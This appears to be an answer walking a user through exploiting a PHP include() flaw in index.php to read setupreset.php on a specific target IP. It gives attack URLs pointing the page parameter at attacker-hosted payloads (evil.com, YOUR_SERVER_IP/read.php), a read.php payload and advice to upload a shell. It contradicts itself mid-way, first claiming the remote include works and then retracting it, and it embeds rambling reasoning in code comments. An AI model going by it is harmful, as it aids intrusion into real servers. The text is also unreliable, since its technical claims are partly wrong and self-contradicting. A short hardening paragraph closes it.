Remote File Inclusion: Bypassing allow_url_include to Read Sensitive Files
You have identified a classic Local File Inclusion (LFI) vulnerability in index.php. The line include ($page . '.php'); directly concatenates user input into a PHP include path. While standard LFI payloads like /etc/passwd often work immediately, you are facing a common restriction: the target server has allow_url_include disabled. This prevents the include() function from fetching remote scripts via URLs like http://evil.com/payload.php.
However, your observation regarding allow_url_fopen is the key to unlocking this specific scenario. Since allow_url_fopen is enabled by default on many older PHP configurations and allows file_get_contents() to fetch remote data, you can pivot from a simple include to a Remote File Read exploit without needing to upload a new file or change server settings.
The core objective remains the same: extract the contents of setupreset.php. Since you cannot simply include it via a URL (which would require allow_url_include), you must leverage the fact that PHP can read remote files if allow_url_fopen is on. You do not need to "upload" a script in the traditional sense; you are effectively creating a virtual script stream from an external source.
To execute this, you don't inject code into the target server's filesystem. Instead, you use the vulnerability to fetch a payload from a machine you control. Here is the practical approach:
Host a Payload: Set up a local web server (e.g., Python's
SimpleHTTPServerorhttp.server) on your own machine at an IP address like10.0.0.5. Create a file namedread.phpwith the following logic:<?php $remote_file = "file:///path/to/setupreset.php"; // Or use http if accessible header('Content-Type: text/plain'); echo file_get_contents($remote_file); ?>Construct the Exploit: Since
include()allows remote resources whenallow_url_fopenis on, you can point the vulnerable parameter to your hosted payload using a protocol that PHP supports for reading. If the target accepts arbitrary schemes or if you are exploiting the LFI directly:http://10.211.55.5/index.php?page=http://YOUR_SERVER_IP/read.php
Wait, there is a nuance here. Standard include() with allow_url_include off usually blocks HTTP/HTTPS URLs entirely. If allow_url_fopen is the only flag on, include() typically cannot fetch from an HTTP URL directly unless specific PHP configurations are tweaked. However, if you can inject code that uses file_get_contents() instead of relying on the include stream wrapper for the payload itself, you bypass the restriction.
A more robust method when allow_url_include is off involves creating a "blind" or direct read scenario. If you can't get the server to include your HTTP URL, try using the file:// protocol if the target PHP allows reading local files via streams, or look for alternative injection points that use file_get_contents() directly.
If allow_url_fopen is strictly on, but allow_url_include is off, you generally cannot simply include 'http://...'. The workaround requires a slight adjustment: host your payload such that it returns the file content as plain text, and if your environment allows mixed content or specific stream wrappers, attempt to read the remote file directly within the injected context.
However, the most reliable path given your constraints is often to exploit the include to load a local file on the attacker's machine that fetches the remote secret file. This requires a reverse shell or a script hosted on your network that reads the victim's files.
Consider this payload structure hosted on your server (10.0.0.5/read.php):
<?php
// This script runs on YOUR server, not the target
// But we need to read the TARGET file.
// Since we are remote, we can't directly read 10.211.55.5's files unless allow_url_fopen is on there too.
// The correct flow with allow_url_fopen ON:
// We want index.php to include a URL that reads our payload.
// But include() fails for http:// if allow_url_include is OFF.
// Alternative: Use a data URI or base64 encoded payload injected via the include path?
// No, that requires PHP to parse it as code.
// The actual solution with allow_url_fopen ON and allow_url_include OFF:
// You cannot use include() for http:// URLs.
// However, if you can write a file upload (RCE), you bypass this entirely.
// Since you mentioned "upload a PHP file", that implies you might have another vector or are considering RFI vs URFI.
// Re-evaluating the constraints:
// If allow_url_include is OFF, index.php?page=http://... will fail to include.
// If allow_url_fopen is ON, file_get_contents('http://...') works.
// To combine these: You need to inject code that calls file_get_contents().
// Example injection if you had a command execution or eval context:
// echo file_get_contents("file:///path/to/setupreset.php");
// Since you only have LFI:
// The standard RFI (Remote File Inclusion) does not work without allow_url_include.
// Therefore, simply pointing to http://badwebsite.com won't execute your PHP.
// BUT, if you can get a file upload (which is a common companion to LFI), you upload setupreset.php content or a script that reads it.
// Without a separate upload vector, reading the remote file via include() is impossible if allow_url_include is off.
Wait, let me correct the technical assessment based on standard PHP behavior. If allow_url_include is disabled, include('http://...') will throw an error or fail to load, regardless of allow_url_fopen. The flags control different stream wrappers. allow_url_fopen enables file_get_contents(), fsockopen(), etc., but include() has its own check.
Therefore, if allow_url_include is off, you cannot simply point the $page variable to an HTTP URL to execute a remote script via include(). The attempt index.php?page=http://badwebsite.com/... will fail because PHP refuses to include remote URLs when that specific flag is disabled.
To achieve your goal of listing setupreset.php content, you must find a way to invoke file_get_contents() or similar functions directly within the included context, or utilize a file upload vulnerability if one exists alongside this LFI. If the only access is via include(), and allow_url_include is off, you cannot directly include a remote PHP script. You would need to:
- Find an Upload Vector: If you can upload a file (e.g.,
shell.php) to the web root, you can then visitindex.php?page=uploaded_shell.php(assuming Local File Inclusion is active for local files) to execute arbitrary code. Once you have a shell or RCE, reading/var/www/setupreset.phpbecomes trivial. - Check for Alternative Includes: Look if the application uses
require_once()with different wrappers or if there are other parameters that might accept file paths directly. - Leverage
allow_url_fopendifferently: If you can inject code (via a secondary vulnerability), usefile_get_contents("http://YOUR_SERVER_IP/read.php"). But via the primaryinclude()vector, it is blocked by the flag.
Conclusion on the specific exploit:
With allow_url_include off, the direct RFI payload index.php?page=http://... will not work for executing code. You cannot bypass this solely with allow_url_fopen. To read setupreset.php, you likely need to combine the LFI with a file upload vulnerability or find another entry point that executes PHP code without relying on the restricted include() wrapper for remote resources. If you can upload a script, execute it via the vulnerable include (local path), and have it read the sensitive file, then you have achieved your goal.
For securing applications against this, always validate and sanitize input passed to include() or require(). Use strict allowlists for allowed directories rather than trusting user input. Additionally, ensure both allow_url_include and allow_url_fopen are disabled in production environments unless absolutely necessary, as they significantly expand the attack surface for Remote Code Execution.